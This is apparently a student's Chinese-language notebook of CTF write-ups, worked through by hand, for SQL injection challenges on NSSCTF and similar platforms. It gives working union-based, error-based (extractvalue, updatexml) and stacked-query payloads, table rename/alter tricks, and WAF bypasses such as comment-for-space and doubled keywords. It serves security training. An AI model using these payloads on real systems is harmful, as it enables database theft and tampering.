后面做到的新的题目就补充到这里
回去又看了一下newstar的week3和week4的sql注入的题目,都是盲注的。一开始觉得代码很长,看不懂,现在发现稍微改一点点地方就可以了,不难
这里就将这些问题全部解决一下,这些题目都手动注入一下,这个确实很重要
对着nss的web方向的所有有关sql的标签的题目都给做一下,这样基本问题就不大了
还有就是分析这些题目的一些特征,知道到底要在什么样的情况下用什么的
[SWPUCTF 2021 新生赛]easy_sql
1分
SQL注入报错注入布尔盲注
这里一来在上方或者你看网页源代码告诉你,参数是wllm
很像就是有个单独是id的那种
这里我们先来测试一个?wllm=1
1 | Your Login name:xxx |
这里我们不应该说考虑很多乱七八糟的,接下来就是应该先再1后面加一个单引号
?wllm=1’
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
我们可以通过这里的报错看到很多,比如闭合符这些,也有可能是来判断我们的注入方式
接下来就是我们的注释符,–+,#,%23
这些都是可以的
1 | ?wllm=1'%23 |
这里就是又有我们的正常回显
然后开始测试列这些了呗
前面其实已经可以测试我们的这个waf了。可以在分号后面加一个空格,如果是有waf的这些的话就可以得知了
当然站在后面一些的视角,我们也可以知道说,直接fuzz字典跑一下就什么都知道了
1 | ?wllm=1'group by 3%23 |
3正常,4报错
其实我们还可以换一种测试的方式,
1 | ?wllm=-1'union select 1,2,3%23 |
上面这个有正常回显
1 | ?wllm=-1'union select 1,2%23 |
这两个都回显The used SELECT statements have a different number of columns
也是可以测试列数的
当然,可能说union这些注入都有可能被过滤这些,我们需要注意
接下来就是测试我们的数据库,站在现在来看那就直接得到所有的数据库了呗!
information_schema.schemata 是 information_schema 下的一个表,用于列出当前数据库服务器上所有的数据库(schema)名称
1 | ?wllm=0'union select 1,group_concat(schema_name),3 from information_schema.schemata%23 |
回显:information_schema,mysql,performance_schema,test,test_db
很多的题目就可以直接在自己的数据库这里拿到flag了,就是将一个有回显的列数换为database(),这样就可以拿到我们的flag了
1 | ?wllm=-1'union select 1,2,database()%23 |
这里我们拿到flag的就是在test_db这个数据库里面
接下来就是来拿到我们的表
1 | ?wllm=0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+ |
这里加上group_concat,就会回显两个表,没有加上就回显一个表
这里回顾一下几个函数的用法
group_concat:用于一次性输出多个字段或多行数据
table_name:表名
information_schema.tables:包含所有mysql数据库的简要信息,包含两个数据表:tables表名集合表,columns列名集合表
table_schema:table_schema 在 SQL 注入中常用于 筛选特定数据库中的表或字段,它是 information_schema 数据库中 tables 和 columns 表里的一个字段,表示某个表或字段所属的数据库名
回显:Your Password:test_tb,users
接下来就是列名以及拿到flag了
1 | ?wllm=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'--+ |
这里的’test_db’换为database()也是一样的回显
还有就是,我不要再限定一下库名了,直接是一个表的名字就可以了
1 | ?wllm=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+ |
底层那就是我们在这里直接跳过了库名限制,直接来到表的
回显我们的id和flag
1 | ?wllm=-2' union select 1,2,group_concat(id,flag) from test_tb--+ |
还可以换为另外一种标准的数据库用法来拿到我们的flag
1 | ?wllm=-2' union select 1,2,group_concat(flag) from test_db.test_tb--+ |
这个也是可以拿到flag的
这道题是最基础的一道sql题目,我觉得我已经讲的非常清楚了,包括很多的底层和各种测试的不同用法
[suctf 2019]EasySQL
1分
堆叠注入SQL注入关键字绕过
首先一进去是一个提交查询的框,我们在这里就需要知道为什么说,我不能使用常规的注入方法,而是要换一种注入的方法
这里我们先输入一个1,然后再在hackbar里面execute一下,这样就可以看到请求的方式是post,请求参数是query
然后就是换个数字来注入一下,回显没有变化
还有就是加一个单引号,看一下他会怎么回显
这里并没有报错,还是一样的回显
那我再提交一下查询,提交的是a这个值,发现没有回显了
我们进行抓包,可以利用关键字进行爆破,可以知道它过滤了什么
我本地长度是510的,就是和or长度一样的,就是被过滤的
1 | 4 handler 200 false false 510 |
有from,update呀等等
由此观之,报错注入,union联合注入,盲注皆不可行,所以我们尝试进行堆叠注入
不是题目直接告诉你用堆叠注入的话,我们应该先试着来看看过滤了什么,再考虑用什么方式来注入
开始试探:这里我就不试探了
爆库:
1 | 1; show databases; |
中间空格无所谓
回显:Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
爆表:1;show tables;
回显:Array ( [0] => 1 ) Array ( [0] => Flag )
输入1有回显,输入0没有回显,abc输入也没有回显
回显的结果:Array ( [0] => 1 )
只有这个(只是常规注入下哦)
或者没有回显
我们由此可以猜测后端代码含有 ||或运算符。
补充:|| 或or 运算符讲解:
select command1 || command2
情况一:若command1为非0数字,则结果为1。
情况二:若command1为0或字母,command2为非0数字,则结果为1。
情况三:command1和command2都不为非0数字,则结果为0。
通过以上分析,我们可以判断后端代码中存在或运算符。
查看本题的后端代码,事实与我们的判断相吻合。
$sql = “select “.$post[‘query’].”||flag from Flag”;
预期解法
1 | 方法一:使用 sql_mode 中的 PIPES_AS_CONCAT 函数。 |
最后就可以拿到flag了,这个要么抓包,要么就查看网页源代码
[SWPUCTF 2021 新生赛]error
1分
报错注入SQL注入布尔盲注
这里也是只要我们输入一个id就可以的了
输入1
回显:id:1没有提示………..
加上一个分号,原来显示的没有提示,现在就开始在报错了
1 | ?id=1'%23 |
输入这个,得到了闭合符和我们的注释符,但是这里的只是有没有提示这样的回显,不是把具体的数据给你回显出来的那种
单引号后面加一个空格,发现这里没有报错
1 | ?id=1' group by 3%23 |
这里的3正常,4开始报错,可以得知列数
1 | ?id=-1'union select 1,2,3%23 |
回显的是没有提示
这里我们就知道(还有结合题目),要使用报错注入来解决这个问题
主要就是它不是什么回显都没有,它在报错,我们就可以利用这个来进行注入
报错注入
查库名:
1 | -1'and(select extractvalue(1,concat('~',(select database()))))# |
查表名:
1 | -1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))# |
列名:
1 | -1'and(select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="test_tb" and table_schema='test_db'))))# |
flag
1 | -1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))# |
这里用union select也是可以的
我展示一下用法,具体思路除了一点点函数不同其他基本和常规注入是一样的
爆库:XPATH syntax error: ‘~test_db’
这里也可以爆一下所有的数据库名
1 | -1'union select(select extractvalue(1,concat('~',(select database()))))# |
就是将and改为union select就可以的
还有就是这里的substr也可以换成mid的
注意一下这个的格式
还可以这个格式
1 | -1' and 1=extractvalue(1,concat(0x7e,(select group_concat(id,‘~’,flag) from test_tb)))# |
还可以用另外一个函数:
1 | 1' order by 4--+#爆字段 |
上面是人家的wp,要稍微做一些修改
1 | -1' and updatexml(1,concat(0x7e,database(),0x7e),3)# |
这个就爆库成功了
和我们的常规的注入的差别并不是很大,注意知道什么时候使用就基本没有太大的问题了
[SWPUCTF 2021 新生赛]sql
1分
空格绕过关键字绕过SQL注入
这个就是我们的杰哥的那道题目的升级版本,就是多一些waf。
我们可以fuzz,我这里来手动地一个个注入,看一下有哪些被过滤了
1 | ?wllm=1'%23 |
得到闭合符和注释符
我在引号后面加上了一个空格,这里就弹waf警告了
1 | ?wllm=1'/**/%23 |
这个就没有再给我们弹waf了
1 | ?wllm=1'group/**/by/**/3%23 |
这里3正常回显,4报错
1 | ?wllm=-1'union/**/select/**/1,2,database()%23 |
这个就可以给我们回显数据库地名称了:test_db
然后就是爆表
1 | ?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/='test_db'%23 |
这个是我们仅考虑了空格过滤的一种情况,还有就是我们需要考虑=,可以换为like
1 | ?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'test_db'%23 |
回显:LTLT_flag,users
flag应该就是在我们的LTLT_flag这张表里面
1 | ?wllm=0'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23 |
拿到列名:id,flag
这道题我刚才测试了一下,就是过滤了and
我试着饶一下
And 和or 过滤绕过:
1.使用大小写绕过anD
2.复写过滤绕过:?Id=1 ‘anandd 1=1 –+
3.用&&取代and,用||取代or
可以用%26代替&
1 | ?wllm=0'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'/**/%26%26/**/table_name/**/like/**/'LTLT_flag'%23 |
所以这个也可以拿到列名
最后来拿到flag,这个最后只是拿到一部分的flag
1 | ?wllm=-2'/**/union/**/select/**/1,2,group_concat(id,flag)/**/from/**/LTLT_flag%23 |
回显是这个:1NSSCTF{d5a1e65d-8de
我们接下来就要借助长度方面的一些知识来帮助我们来那道flag了
用的最常见的是两种:substr和mid
mid的用法如下:
1 | ?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23 |
substr的用法大概如下
1 | -1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))# |
用法基本是一样的
对于limit的用法我们知道说是多行的结果,我们一条一条限制出来就可以了,但是这里的明显是长度的限制
[LitCTF 2023]这是什么?SQL !注一下 !
1分
SQL注入布尔盲注时间盲注
题目描述
为了安全起见多带了几个套罢了o(////▽////)q
出题人 探姬
这里是get传一个id=
然后我们输入一个1,回显的是它的这个注入语句和结果
1 | SELECT username,password FROM users WHERE id = ((((((1)))))) |
输入
1 | ?id=1))))))%23 |
得到正常的回显,知道闭合符和注释符
1 | ?id=1))))))group by 2%23 |
3没有正常回显,但是2有
1 | ?id=1))))))union select 1,database()%23 |
这里可以回显我们当前的数据库
我们要回显所有的数据库
1 | ?id=-1))))))union select 1,group_concat(schema_name) from information_schema.schemata%23 |
回显:Array ( [0] => Array ( [username] => 1 [password] => information_schema,mysql,ctftraining,performance_schema,test,ctf
flag在我们的ctftraining里面
爆表:
1 | ?id=-1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'%23 |
回显:Array ( [0] => Array ( [username] => 1 [password] => flag,news,users ) )
爆列
1 | ?id=-1))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'%23 |
回显:Array ( [0] => Array ( [username] => 1 [password] => flag )
来拿flag
1 | ?id=-1)))))) union select flag,2 from ctftraining.flag%23 |
这里指定了库和表,又没有啥waf,所以来拿flag基本没有什么太大的问题
[强网杯 2019]随便注
1分
堆叠注入关键字绕过SQL注入
一进去显示:
取材于某次真实环境渗透,只说一句话:开发和安全缺一不可
一进去,有个提交查询的框,输入一个1后来到hackbar
1 | http://node4.anna.nssctf.cn:28968/?inject=1 |
如下得知闭合符和注释符
1 | ?inject=1'%23 |
在引号后面加上一个空格,没有报错
1 | ?inject=1'group by 2%23 |
2正常回显,3报错
1 | ?inject=-1'union select 1,2%23 |
这里我们开始测试,这里都还没有问题,然后将2换为我们的database()
报错:return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);
我们就要想能不能绕select这个呗!但是看wp发现这些解法都是不可以的
题目暗示你了是sql注入,还有就是源码告诉你sqlmap是没有灵魂的,知道考察的方面
这里我们的1’;或者1’#的这个可以得到闭合符
因为要堆叠注入,所以我们就要用;
1’;show tables;
使用mysql的show命令可以查看数据库,表,字段等信息
这个可以爆库,也是第一次见这种情况
1 | array(1) { |
有两个表
使用show命令来查看表中的字段,注意表名要用反引号包裹,payload
1 | 0';show columns from `1919810931114514`; |
words也可以用这个,查words也是用反引号
回显:
array(6) {
[0]=>
string(4) “flag”
[1]=>
string(12) “varchar(100)”
[2]=>
string(2) “NO”
[3]=>
string(0) “”
[4]=>
NULL
[5]=>
string(0) “”
}
后面的还可以再加一个–a,应该是起注释作用
使用handler查看表中的数据,需要注意的是,表名如果是数字,则需要用反引号包裹起来
1 | 0';handler `1919810931114514` open;handler `1919810931114514` read first; -- a |
handler语句不具有select语句的所有功能。他是mysql专用的语句,并没有包含到标准的sql语句中
1 |
|
补充一下其他的做法,这道题还得是做一下相关的题目才可以慢慢熟悉一下
由show的作用可知,words表内就两个字段,一个叫id,一个叫data。
并且可以得知,该题作者在页面就查了这两个字段的内容,由于该题禁用select,因此我们可以用作者原本设定的查表函数来帮我们查我们想要查找的内容。因此我们对表进行改名:
用rename把words表改名为其他的表名,把 1919810931114514表的名字改为words,给words表添加新的列名id,将flag改名为data。
构造payload如下
1 | http://4a74d507-bd81-4639-8579-82aebaf359cb.node4.buuoj.cn:81/?inject=1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100); |
补充一下alter
1 | //alter可以修改已知表的列 |
看了上面的,其实我是没有弄懂的,只是一个冰冷的paylaod
换一个可以理解的wp来慢慢研究一下
前置知识:alter
1 | 修改表名 alter table 表名 rename 新表名; |
我们首先通过1’,发现报错说明是字符型单引号
这里应该是我们发现waf,且绕不过,再加上题目的提示,有堆叠注入
获取到所有的表
1 | 1';show+tables;# |
回显
1 | array(2) { |
然后用下面这个获取到表中的字段名
1 | 1';show+columns+from+words;# |
注意这里的反引号
通过观察 words表单有两列, 也就是上面的 1 和 hahahah
我们可以推测 这个表单其实是从words表中以id字段为索引获取到内容 然后返回到前台
并且后台的查询语句为
1 | "select * from words where id='".$_GET['inject']."'" |
那么 我们是不是可以通过修改带flag字段的表的名字为words表 然后把flag 字段修改为id
通过三条alter语句来修改
1 | 修改words表名为其他的 |
发现新的id列中的值已经变为flag了,所以查询inject=1查不到
我们可以通过where条件为正查出来所有数据
1 | 1' or '1'='1 |
这样就可以获取到flag值
同时,我三次修改可以放在同一个与距离,分号隔开就可以了
[SWPUCTF 2022 新生赛]ez_sql
1分
SQL注入关键字绕过POST注入
这里也是非常基础的sql,waf也不算多吧
nss=1’%23
得到闭合符和注释符
这里我不知道waf了什么,但是我group by呀等等都不行,union select这些也是不可以的,但是引号后面加上空格是没有给我报错的
我们在这里fuzz字典来跑一下,但是这里前面不是我一点点的手的测试都是失败的,fuzz没有什么用,同时跑了一下全是200的状态码
我们这里注意一下回显
1 | Flag: NSSCTF{This_1s_F4ke_flag} |
有两个,加上我们的id应该是三行
不对,不对
我们其实在上面的时候有一个小细节并没有处理的很好,有一个思路方面的细节没有处理好
1 | nss=1' group by 3%23 |
这里我们是先在分号后面加上空格,然后没有报错
我们来接着试上面那个,发现报错了:to use near ‘groupby3#’ LIMIT 0,1’ at line 1
你看,报错这里全部都给你删了,是没有报错的
1 | nss=1'/**/group/**/by/**/3%23 |
3没有问题,4开始报错了
1 | nss=-1'union/**/select/**/1,2,3%23 |
报错:’select/**/1,2,3#’ LIMIT 0,1’ at line 1
我们可以看这个报错的信息,发现union没有了
双写可以绕过这个union
1 | nss=-1'ununionion/**/select/**/1,database(),3%23 |
接下来这个我发现。你怎么注入好像都是没有正常回显的
我也去抓包了,确实是没有给我们想要的回显
不过这道题目有些bug,我在bp里面换了一种方式,成功回显了,还得要看看源码
1 | nss=nss=-1'ununionion/**/select/**/1,database(),3%23 |
回显:
Flag: NSS_db
This is true flag: 3